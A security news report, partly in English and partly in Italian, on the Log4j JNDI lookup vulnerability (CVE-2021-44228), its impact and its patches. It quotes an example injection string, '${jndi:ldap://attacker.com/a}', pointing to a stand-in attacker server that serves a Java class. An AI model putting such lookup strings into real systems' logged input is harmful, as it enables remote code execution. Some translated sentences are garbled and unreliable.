In Apache Log4j, a popular framework for logging in Java applications, a critical vulnerability has been identified that allows arbitrary code execution when logging specially crafted values in the format "{jndi:URL}". This attack can be launched against Java applications that log values obtained from external sources, such as when outputting problematic values in error messages.
It is noted that nearly all projects using frameworks such as Apache Struts, Apache Solr, Apache Druid, or Apache Flink are vulnerable, including Steam, Apple iCloud, and the clients and servers of the game Minecraft. A wave of mass attacks on corporate applications is expected due to this vulnerability, echoing the history of critical vulnerabilities in the Apache Struts framework, which is reportedly used in web applications for 65% of companies listed in the Fortune 100. Attempts to scan networks for vulnerable systems have already been recorded.
Il problema è aggravato dal fatto che è già stato pubblicato un exploit funzionante, ma le patch per le branch stabili non sono ancora disponibili. L'identificatore CVE non è stato assegnato al momento. La correzione è inclusa solo nella branch di test log4j-2.15.0-rc1. Per limitare l'esposizione all'attacco, si consiglia di impostare il parametro log4j2.formatMsgNoLookups su true.
Il problema è stato causato dal fatto che log4j supporta l'elaborazione di maschere speciali «{}» nelle stringhe di log, nelle quali potrebbero essere eseguiti dei richiesti JNDI (Java Naming and Directory Interface). L'attacco si basa sulla trasmissione di una stringa con sostituzione «${jndi:ldap://attacker.com/a}», che, durante l'elaborazione, porterà log4j a inviare un un server richiesta LDAP a attacker.com per il percorso del classe Java. Il percorso restituito server dall'attaccante (ad esempio, http://second-stage.attacker.com/Exploit.class) verrà caricato ed eseguito nel contesto del processo corrente, permettendo all'attaccante di eseguire codice arbitrario nel sistema con i diritti dell'applicazione attuale.
Supplemento 1: La vulnerabilità ha ricevuto l'identificatore CVE-2021-44228.
Aggiornamento 2: È stato identificato un modo per bypassare la protezione aggiunta nella versione log4j-2.15.0-rc1. È stata proposta una nuova versione log4j-2.15.0-rc2 con una protezione più completa contro la vulnerabilità. Nel codice viene evidenziata una modifica relativa all'assenza di chiusura anomala in caso di utilizzo di un URL JNDI non formattato correttamente.
Fonte: opennet.ru
